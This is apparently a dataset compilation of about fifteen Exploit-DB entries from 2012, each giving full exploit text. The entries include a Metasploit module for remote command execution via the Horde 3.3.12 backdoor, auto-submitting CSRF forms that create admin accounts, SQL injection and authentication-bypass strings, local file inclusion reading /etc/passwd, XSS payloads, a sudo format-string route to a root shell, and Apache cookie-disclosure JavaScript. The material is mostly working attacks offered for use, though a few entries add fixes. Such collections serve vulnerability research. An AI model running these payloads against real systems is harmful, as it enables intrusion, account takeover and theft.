QLWD/code_shield huggingface dataset:
标题: Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit) EDB-ID: 18492 CVE: 2012-0209 类型: REMOTE 平台: LINUX 发布日期: 2012-02-17 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
   'Description'    => %q{
     This module exploits an arbitrary PHP code execution vulnerability introduced
    as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
   },
   'Author'         => [
    'Eric Romang',  # first public PoC
    'jduck'         # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-0209'],
     [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
     [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'BadChars' => "\x0a\x0d",
     'DisableNops' => true,
     'Space'       => 4096,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
      }
    },
   'Platform'       => [ 'unix', 'linux' ],
   'Arch'           => ARCH_CMD,
   'DefaultTarget'  => 0,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Feb 13 2012'
   ))

   register_options(
    [
     OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
     OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
    ], self.class)
 end

 def exploit
  # Make sure the URI begins with a slash
  uri = datastore['URI']
  if uri[0,1] != '/'
   uri = '/' + uri
  end

  # Make sure the URI ends without a slash, because it's already part of the URI
  if uri[-1, 1] == '/'
   uri = uri[0, uri.length-1]
  end

  function = "passthru"
  key = Rex::Text.rand_text_alpha(6)
  arguments = "echo #{key}`"+payload.raw+"`#{key}"

  res = send_request_cgi({
   'uri'     => uri + "/services/javascript.php",
   'method'  => 'POST',
   'ctype'   => 'application/x-www-form-urlencoded',
   'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
   'headers' =>
   {
    'Cookie' => "href="+function+":"+arguments,
    'Connection' => 'Close',
   }
  }) #default timeout, we don't care about the response

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")
  end

  resp = res.body.split(key)
  if resp and resp[1]
   print_status(resp[1])
  else
   print_error("No response found")
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/18492
标题: SocialCMS 1.0.2 - Cross-Site Request Forgery EDB-ID: 18487 CVE: 2012-1416 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-16 漏洞利用脚本: +-------------------------------------------------------------------------+
# Exploit Title : Socialcms CSRF Vulnerability
# Date          : 16-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://socialcms.com
# Software link : http://sourceforge.net/projects/socialcms/files/latest/download
# Version       : 1.0.2
# Tested on     : Debian Squeeze (6.0) 
+-------------------------------------------------------------------------+
+---+[Add Admin Account by Ivano Binetti]---+

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>I'm adding ADMIN account using CSRF Vulnerability</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80//socialcms/my_admin/admin1_members.php?action=member_new&page=1&mID=1 ">
<input type="hidden" name="TR_login_name" value="new_admin"/>
<input type="hidden" name="TR_firstname" value="admin_user"/>
<input type="hidden" name="TR_lastname" value="admin_user"/>
<input type="hidden" name="TREF_email_address" value="admin@admin.com"/>
<input type="hidden" name="TR_group_level" value="1"/>
</form>
</body>
</html>

+----------------+ URL: https://www.exploit-db.com/exploits/18487
标题: Fork CMS 3.2.4 - Local File Inclusion / Cross-Site Scripting EDB-ID: 18483 CVE: 2012-1304 2012-1208 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-12 漏洞利用脚本: ########################################################################################################################## 

#  Exploit Title: Fork CMS v.3.2.4  - Multiple Vulnerabilities 

#  Script Page : http://www.fork-cms.com  
                   
#  Date: 11-02-2012

#  Author : RandomStorm  - http://www.randomstorm.com

#  Avram Marius Gabriel (d3v1l)

#  Tested on: Windows XP & Vista
 
 
########################################################################################################################## 
 
#  Reflected Cross-Site Scripting (XSS) on Admin Panel

#  POC:  

#  http://site.com/blog/settings?token=true&report=</script><script>alert(1)</script>  

#  http://site.com/users/index?token=true&error=</script><script>alert(1)</script> 
 
########################################################################################################################### 

#  Local File Inclusion ( LFI )

#  POC: 

#  http://site.com/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en


##########################################################################################################################
 
# About: Fork CMS is dedicated to creating a user friendly environment to build,monitor and update your website.

########################################################################################################################### URL: https://www.exploit-db.com/exploits/18483
标题: Flyspray 0.9.9.6 - Cross-Site Request Forgery EDB-ID: 18468 CVE: 2012-1058 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-07 漏洞利用脚本: #Exploit Title: Flyspray 0.9.9.6 CSRF Vulnerability
#Date: 06 Feb 2012
#Author: Vaibhav Gupta
#Software Link: http://flyspray.org/flyspray-0.9.9.6.zip
#Version: 0.9.9.6
+---+[CSRF Add Admin Account after authentication]+---+
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/flyspray-0.9.9.6/index.php?do=admin&area=newuser">
<input type="hidden" name="action" value="admin.newuser"/>
<input type="hidden" name="do" value="admin"/>
<input type="hidden" name="area" value="newuser"/>
<input type="hidden" name="user_name" value="root"/>
<input type="hidden" name="user_pass" value="12345678"/>
<input type="hidden" name="user_pass2" value="12345678"/>
<input type="hidden" name="real_name" value="root"/>
<input type="hidden" name="email_address" value="root@root.com"/>
<input type="hidden" name="jabber_id" value=""/>
<input type="hidden" name="notify_type" value="0"/>
<input type="hidden" name="time_zone" value="0"/>
<input type="hidden" name="group_in" value="1"/>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/18468
标题: Tube Ace (Adult PHP Tube Script) - SQL Injection EDB-ID: 18466 CVE: 2012-1029 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-06 漏洞利用脚本: # Exploit Title: Tube Ace(Adult PHP Tube Script) SQL Injection
# Date: 05/02/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Tube Ace
# http://www.tubeace.com
# Tested on: Linux
# Dork: "?viewStandard=0"
  
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion
    her0, r0dr1 y demas user de RemoteExecution 
    www.remoteexecution.info www.remoteexcution.com.ar 
    #RemoteExecution Hacking Group

[PoC]

http://localhost/mobile/search/?q=[SQL Injection]

http://localhost/mobile/search/?q=1') AND (SELECT 9602 FROM(SELECT
COUNT(*),CONCAT(CHAR(58,109,111,110,58),(SELECT (CASE WHEN
(9602=9602) THEN 1 ELSE 0
END)),CHAR(58,107,109,109,58),FLOOR(RAND(0)*2))x FROM
information_schema.tables GROUP BY x)a) AND ('LMEk'='LMEk&channel=

[DEMO]

http://server/mobile/search/?q=1%27%29%20AND%20%28SELECT%209602%20FROM%28SELECT%20COUNT%28*%29,CONCAT%28CHAR%2858,109,111,110,58%29,%28SELECT%20%28CASE%20WHEN%20%289602=9602%29%20THEN%201%20ELSE%200%20END%29%29,CHAR%2858,107,109,109,58%29,FLOOR%28RAND%280%29*2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x%29a%29%20AND%20%28%27LMEk%27=%27LMEk&channel= URL: https://www.exploit-db.com/exploits/18466
标题: BASE 1.4.5 - 'base_qry_main.php?t_view' SQL Injection EDB-ID: 18465 CVE: 2012-1017 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-06 漏洞利用脚本: # Exploit Title: BASE 1.4.5 SQL Injection Vulnerability
# Date: 30/01/2012
# Author: a.kadir altan (testpenter_AT_gmail.com)
# Software Link: http://base.secureideas.net
# Version: 1.4.5
# Platform: PHP
##########################
BASE Snort Analysis Front-end SQLi Vulnerability

Vulnerable parameters: 
ip_addr[0][1]
ip_addr[0][2]
ip_addr[0][9]

Vulnerable URL: 
http://server/base_qry_main.php?new=2&num_result_rows=-1&submit=Query%20DB¤t_view=-1&ip_addr_cnt=1&ip_addr[0][0]=%20&ip_addr[0][1]=ip_dst&ip_addr[0][2]==&ip_addr[0][3]=11.11.11.11&ip_addr[0][8]=%20&ip_addr[0][9]=%20<SQLi HERE>

PoC:
http://server/base_qry_main.php?new=2&num_result_rows=-1&submit=Query%20DB¤t_view=-1&ip_addr_cnt=1&ip_addr[0][0]=%20&ip_addr[0][1]=ip_dst&ip_addr[0][2]==&ip_addr[0][3]=11.11.11.11&ip_addr[0][8]=%20&ip_addr[0][9]=%20)%20AND%20(SELECT%208543%20FROM(SELECT%20COUNT(*),CONCAT(0x3a796d723a,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,50)),0x3a6479783a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20(5635=5635

Play with ip_addr[x][y], including removal.
########################## URL: https://www.exploit-db.com/exploits/18465
标题: XRayCMS 1.1.1 - SQL Injection EDB-ID: 18467 CVE: 2012-1026 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-06 漏洞利用脚本: # Exploit Title: XRayCMS 1.1.1 SQL Injection Vulnerability
# Date: 2/5/2012
# Author: chap0
# Software Link: http://sourceforge.net/projects/xraycms/files/latest/download
# Version: 1.1.1
# Tested on: Ubuntu


XRay CMS is vulnerable to a SQL Injection attack which allows 
authentication bypass into the admins account. If a malicious 
user supplies ' or 1=1# into the applications user name field 
they will be logged into the applications admin account.


Jan 29, 2012 – Contacted Vendor No Response
Feb 05, 2012 – Public Disclosure

Since the vendor did not reply we attempted to create our own
fixes for this issue. The vulnerability exist in “login2.php” 
on lines 20 and 21.

17 if(!isset($_POST['username'])) header("Location: login.php?error_username");
18 if(!isset($_POST['password'])) header("Location: login.php?error_password");
19  
20 $user = $_POST['username'];
21 $pass = $_POST['password'];

If the lines 20 and 21 are changed to:

$user = mysql_real_escape_string($_POST['username']);
$pass = mysql_real_escape_string($_POST['password']);

This will prevent the sql injection from happening in the user name field. URL: https://www.exploit-db.com/exploits/18467
标题: GAzie 5.20 - Cross-Site Request Forgery EDB-ID: 18464 CVE: 2012-1220 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-05 漏洞利用脚本: ========================================
GAzie <= 5.20 Cross Site Request Forgery
========================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 5/02/2012
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
@Application Info:
Multicompany finance application written in PHP using a MySql
database backend for small to medium enterprise. It lets you
write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.
@Version 5.20http://sourceforge.net/projects/gazie/
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<form enctype="multipart/form-data"
action="[localhost]/modules/config/admin_utente.php?Login=amministratore&Update"
method="POST">
<input type="hidden" name="Login" value="amministratore">
<input type="hidden" value="" name="Update">
<input type="text" value="Surname " name="Cognome" title="Cognome">
<input type="text" value="Name " name="Nome" title="Nome">
<input type="text" value="italian" name="lang">
<input type="text" value="9" name="Abilit"><br/>
Password
<input type="password" value="" name="Password"><br/><!-- at least
eight alphanumeric characters -->
Repeat password
<input type="password" value="" name="confpass"><br/>
<input type="submit" value="START THE GAME" name="Submit"> 
</form> URL: https://www.exploit-db.com/exploits/18464
标题: Sphinix Mobile Web Server 3.1.2.47 - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 18451 CVE: 2012-1005 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-02-02 漏洞利用脚本: ##############################################################################
#
# Title    : Sphinix Mobile Web Server Multiple Persistent XSS Vulnerabilities
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.sphinx-soft.com/MWS/index.html
# Advisory : http://secpod.org/blog/?p=453
#            http://secpod.org/advisories/SecPod_SPHINX_SOFT_Mobile_Web_Server_Mul_Persistence_XSS_Vulns.txt
# Software : Mobile Web Server U3 3.1.2.47
# Date     : 01/08/2012
#
###############################################################################

SecPod ID: 1027     23/08/2011 Issue Discovered
                                                20/01/2012 Vendor Notified
      No Response
      01/02/2012 Advisory Released


Class: Cross-Site Scripting (Persistent)        Severity: Medium


Overview:
---------
Sphinx Software Mobile Web Server is prone to multiple persistent Cross Site
Scripting vulnerabilities.


Technical Description:
----------------------
Input passed via the 'comment' to 1)/Blog/MyFirstBlog.txt,
2)/Blog/AboutSomething.txt pages are not properly verified, which allows remote
attackers to inject arbitrary script code.


Impact:
--------
Successful exploitation could allow remote attackers to execute malicious
scripts and steal sensitive data.


Affected Software:
------------------
Mobile Web Server U3 3.1.2.47


Tested on:
-----------
Mobile Web Server U3 3.1.2.47 on Windows XP SP2.


References:
-----------
http://secpod.org/blog/?p=453


Proof of Concept:
----------------
1) /Blog/MyFirstBlog.txt?comment=<script>alert(1234)</script>&submit=Add+Comment


2) /Blog/AboutSomething.txt?comment=<script>alert(1234)</script>&submit=Add+Comment


Vendor URL:
----------------
http://www.sphinx-soft.com/MWS/index.html


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)

Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability. URL: https://www.exploit-db.com/exploits/18451
标题: MailEnable Webmail - Cross-Site Scripting EDB-ID: 18447 CVE: 2012-0389 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-13 漏洞利用脚本: ME020567: MailEnable webmail cross-site scripting vulnerability (CWE-79)
References: CVE-2012-0389
Discovered by: Sajjad Pourali, Narendra Shinde and Shahab NamaziKhah
Vendor advisory: http://www.mailenable.com/kb/Content/Article.asp?ID=me020567
Vendor contact: 2012-01-04 09:49:36 UTC
Vendor response: 2012-01-04 10:27:13 UTC (Peter Fregon from MailEnable)
Vendor fix and announcement: 2012-01-10 00:50:31 UTC

Vulnerability description:

MailEnable <http://www.mailenable.com/> Professional and Enterprise versions are prone to cross-site scripting vulnerabilities as the user-supplied input received via "Username" parameter of "ForgottonPassword.aspx" page is not properly sanitized. A specially crafted URL which a user clicks could gain access to the users cookies for webmail or execute other malicious code in users browser in context of the domain in use.

Remote: yes
Authentication required: no
User interaction required: yes

Affected:

- MailEnable Professional, Enterprise & Premium 4.26 and earlier
- MailEnable Professional, Enterprise & Premium 5.52 and earlier
- MailEnable Professional, Enterprise & Premium 6.02 and earlier

Not affected:

- MailEnable Standard is not affected.

PoC:

http://server/mewebmail/Mondo/lang/sys/ForgottenPassword.aspx?Username='};alert(/XSS/);{'

Resolution:

Users of MailEnable 5 and 6 can resolve the issue by upgrading to version 5.53 or 6.03 or later. Alternatively, and for version 4 users, the following fix can be applied:

1) Open the ForgottenPassword.aspx file in Notepad. This file is in the Mail Enable\bin\NETWebMail\Mondo\lang\[language] folders in version 4 and in Mail Enable\bin\NETWebMail\Mondo\lang\sys in version 5 and 6.
2) Locate and remove the following line, then save the file: document.getElementById("txtUsername").value = '<%= Request.Item("Username") %>'; URL: https://www.exploit-db.com/exploits/18447
标题: sudo 1.8.0 < 1.8.3p1 - Format String EDB-ID: 18436 CVE: 2012-0809 类型: DOS 平台: LINUX 发布日期: 2012-01-31 漏洞利用脚本: Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +--++>

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        sudo 1.8.0 - 1.8.3p1 (http://sudo.ws)

[ Vendor communication ]
        2012-01-24 Send vulnerability details to sudo maintainer
        2012-01-24 Maintainer is embarrased
        2012-01-27 Asking maintainer how the fixing goes
        2012-01-27 Maintainer responds with a patch and a release date
                   of 2012-01-30 for the patched sudo and advisory
        2012-01-30 Release of this advisory

[ Description ]

        Observe src/sudo.c:

void
sudo_debug(int level, const char *fmt, ...)
{
    va_list ap;
    char *fmt2;

    if (level > debug_level)
        return;

    /* Backet fmt with program name and a newline to make it a single 
    write */
    easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
    va_start(ap, fmt);
    vfprintf(stderr, fmt2, ap);
    va_end(ap);
    efree(fmt2);
}

        Here getprogname() is argv[0] and by this user controlled. So 
        argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The
        result is a Format String vulnerability.   

[ Example ]
        /tmp $ ln -s /usr/bin/sudo %n
        /tmp $ ./%n -D9
        *** %n in writable segment detected ***
        Aborted
        /tmp $

       A note regarding exploitability: The above example shows the result
       of FORTIFY_SOURCE which makes explotitation painful but not 
       impossible (see [0]). Without FORTIFY_SOURCE the exploit is straight
       forward:
         1. Use formatstring to overwrite the setuid() call with setgid()
         2. Trigger with formatstring -D9 
         3. Make use of SUDO_ASKPASS and have shellcode in askpass script
         4. As askpass will be called after the formatstring has 
            overwritten setuid() the askepass script will run with uid 0
         5. Enjoy the rootshell
 
[ Solution ]
        Update to version 1.8.3.p2 

[ References ]
        [0] http://www.phrack.org/issues.html?issue=67&id=9

[ end of file ] URL: https://www.exploit-db.com/exploits/18436
标题: phpShowtime - Directory Traversal EDB-ID: 18435 CVE: 2012-0981 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: # 
# Title     : phpShowtime Directory Travel
# Author    : Red Security TEAM
# Date      : 31/01/2012
# Download  : http://phpshowtime.kybernetika.de/
# Demo      : http://phpshowtime.kybernetika.de/demo/
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# 
# http://server/index.php?r=i/[Your Directory]
# Example   : http://server/index.php?r=i/../../ 
# URL: https://www.exploit-db.com/exploits/18435
标题: Ez Album - Blind SQL Injection EDB-ID: 18438 CVE: 2012-0983 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: # 
# Title     : Ez Album Blind SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 31/01/2012
# Risk      : High
# Demo      : http://www.scriptsez.com
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/album/index.php?action=view&id=[BlindSQLi]
# URL: https://www.exploit-db.com/exploits/18438
标题: Vastal I-Tech Agent Zone - 'search.php' Blind SQL Injection EDB-ID: 18441 CVE: 2012-0982 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: Agent Zone Vastal I-Tech Blind SQL Injection Vulnerability


# Date: 31.01.2012

# Author: Cagri Tepebasili

# Software : http://www.vastal.com/agent-zone-real-estate-script.html

# Tested on: Linux Mint 12

#####################################################################################################################

The First Step >>>
http://server/real/search.php?price_from=1000000.00+and+1=1&price_to=10000000.00

The Second Step >>>
http://server/real/search.php?price_from=1000000.00+and+1=0&price_to=10000000.00

Injection >>>
http://server/real/search.php?price_from=1000000.00[BlindSQLI]&price_to=10000000.00

Greetz : MythSEC <<< URL: https://www.exploit-db.com/exploits/18441
标题: Apache - httpOnly Cookie Disclosure EDB-ID: 18442 CVE: 2012-0053 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-01-31 漏洞利用脚本: // Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
    // Construct string for cookie value
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    // Set cookies
    for (i = 0; i < 10; i++) {
        // Expire evil cookie
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}

function makeRequest() {
    setCookies();

    function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            alert(JSON.stringify(cookie_dict));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);
}

makeRequest(); URL: https://www.exploit-db.com/exploits/18442